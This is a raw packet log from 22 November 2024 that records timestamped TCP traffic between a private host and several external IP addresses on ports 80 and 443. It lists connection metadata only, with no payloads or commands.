Nov 22, 2024 00:11:53.950344086 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.950416088 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.950700998 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.951443911 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.951512098 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.951611042 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.952502966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.952653885 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.952672005 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.952733994 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.953562975 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.953691959 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.953748941 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.954843044 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.955053091 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.955092907 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.955126047 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.956124067 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.956176996 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.956183910 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.956267118 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.956902027 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.956979990 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.956980944 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.957097054 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.957945108 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.958004951 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.958046913 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.958096981 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.959069014 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.959136963 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.959309101 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.959376097 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.960163116 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.960282087 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.960375071 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.961240053 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.961329937 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.961369038 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.961523056 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.962347984 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.962466002 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.962466002 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.962600946 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.963433981 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.963500023 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.963531971 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.963617086 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.964559078 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.964643955 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.964656115 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.964713097 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.965631008 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.965760946 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.965828896 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.966758966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.966814041 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.966842890 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.966897011 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.967823982 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.967931986 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.967936993 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.967987061 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.968923092 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.969005108 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.969043970 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.969111919 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.970020056 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.970093966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.970227957 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.971118927 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.971232891 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.971232891 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.971334934 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.972187996 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.972254992 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.972312927 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.972373009 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.973282099 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.973344088 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.973404884 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.973462105 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.974395037 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.974553108 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.974631071 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.975493908 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.975562096 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.975595951 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.975662947 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.976602077 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.976681948 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.976697922 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.976747990 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.977684021 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.977797031 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.977844000 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.977864027 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.978770018 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.978854895 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.978872061 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.978920937 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.979882956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.979938984 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.980040073 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.980974913 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.981086016 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.981121063 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.981179953 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.982103109 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.982187986 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.982208014 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.982260942 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.983146906 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.983215094 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.983222961 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.983423948 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.984276056 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.984368086 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.984401941 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.984462976 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.985363007 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.985434055 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.985466003 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.985533953 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.986454964 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.986526966 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.986599922 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.986664057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.987550974 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.987659931 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.987692118 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.987881899 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.988636017 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.988712072 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.988738060 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.988781929 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.989758968 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.989886045 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.989923954 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.989940882 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.990828991 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.990907907 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.990978956 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.991920948 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.991983891 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.992022991 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.992069006 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.993005037 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.993076086 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.993108988 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.993134022 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.994102955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.994178057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.994213104 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.994266033 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.995208979 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.995270014 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.995388985 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.995443106 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.996294975 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.996402025 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.996469975 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.997386932 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.997468948 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.997586012 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.997744083 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.998491049 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.998543024 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.998577118 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.998656034 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.999579906 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.999644995 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.999685049 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.999761105 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.000695944 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.000756025 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.000796080 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.000910997 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.001790047 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.001938105 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.001970053 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.002017975 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.002887011 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.002947092 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.003021955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.003067017 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.043930054 CET	443	49863	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:54.043989897 CET	443	49863	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:54.044290066 CET	49863	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:54.044312954 CET	49863	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:54.044323921 CET	443	49863	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:54.044364929 CET	49863	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:54.044370890 CET	443	49863	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:54.047276974 CET	49875	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:54.047326088 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:54.047496080 CET	49875	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:54.047669888 CET	49875	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:54.047684908 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:54.067826033 CET	443	49864	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:54.069638968 CET	49864	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:54.069658995 CET	443	49864	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:54.070281029 CET	49864	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:54.070287943 CET	443	49864	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:54.131581068 CET	49876	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:54.131628036 CET	443	49876	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:54.131897926 CET	49877	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:54.131941080 CET	443	49877	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:54.132049084 CET	49876	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:54.132050991 CET	49877	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:54.132457972 CET	49878	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:54.132472992 CET	443	49878	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:54.132632971 CET	49879	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:54.132648945 CET	443	49879	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:54.132672071 CET	49878	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:54.132725954 CET	49879	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:54.132819891 CET	49880	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:54.132862091 CET	443	49880	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:54.133016109 CET	49876	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:54.133018017 CET	49880	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:54.133028030 CET	443	49876	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:54.133157969 CET	49877	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:54.133171082 CET	443	49877	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:54.133353949 CET	49879	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:54.133354902 CET	49878	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:54.133364916 CET	443	49879	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:54.133372068 CET	443	49878	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:54.133450985 CET	49880	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:54.133466959 CET	443	49880	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:54.137954950 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.138046026 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.138113976 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.138144016 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.138478041 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.138603926 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.138809919 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.139638901 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.139679909 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.139748096 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.140661001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.141041994 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.151422977 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.151504993 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.151612043 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.151693106 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.151861906 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.151912928 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.151949883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.152033091 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.152848005 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.152931929 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.152966022 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.153059006 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.153978109 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.154028893 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.154144049 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.155246973 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.155318022 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.155380011 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.155450106 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.156121016 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.156213045 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.156274080 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.156332016 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.157370090 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.157434940 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.157485962 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.157577038 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.158437014 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.158520937 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.158710003 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.159399986 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.159486055 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.159523964 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.159575939 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.160491943 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.160542965 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.160583973 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.160602093 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.161642075 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.161716938 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.161778927 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.162687063 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.162764072 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.162805080 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.162853956 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.163783073 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.163860083 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.163897991 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.163954020 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.164990902 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.165075064 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.165201902 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.165338993 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.165990114 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.166107893 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.166129112 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.166337967 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.167078018 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.167188883 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.167197943 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.167299986 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.168203115 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.168286085 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.168349028 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.168457031 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.169285059 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.169364929 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.169399023 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.169492960 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.170360088 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.170418024 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.170450926 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.170548916 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.171531916 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.171610117 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.171715021 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.171823025 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.172580957 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.172651052 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.172683001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.172741890 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.173674107 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.173762083 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.173768997 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.173820019 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.174726009 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.174781084 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.174854994 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.174909115 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.175846100 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.175947905 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.176002026 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.176002026 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.176949024 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.177028894 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.177335024 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.178039074 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.178200960 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:54.178278923 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:54.179157019 CET	80	49788	185.215.113.206	192.168.2.5
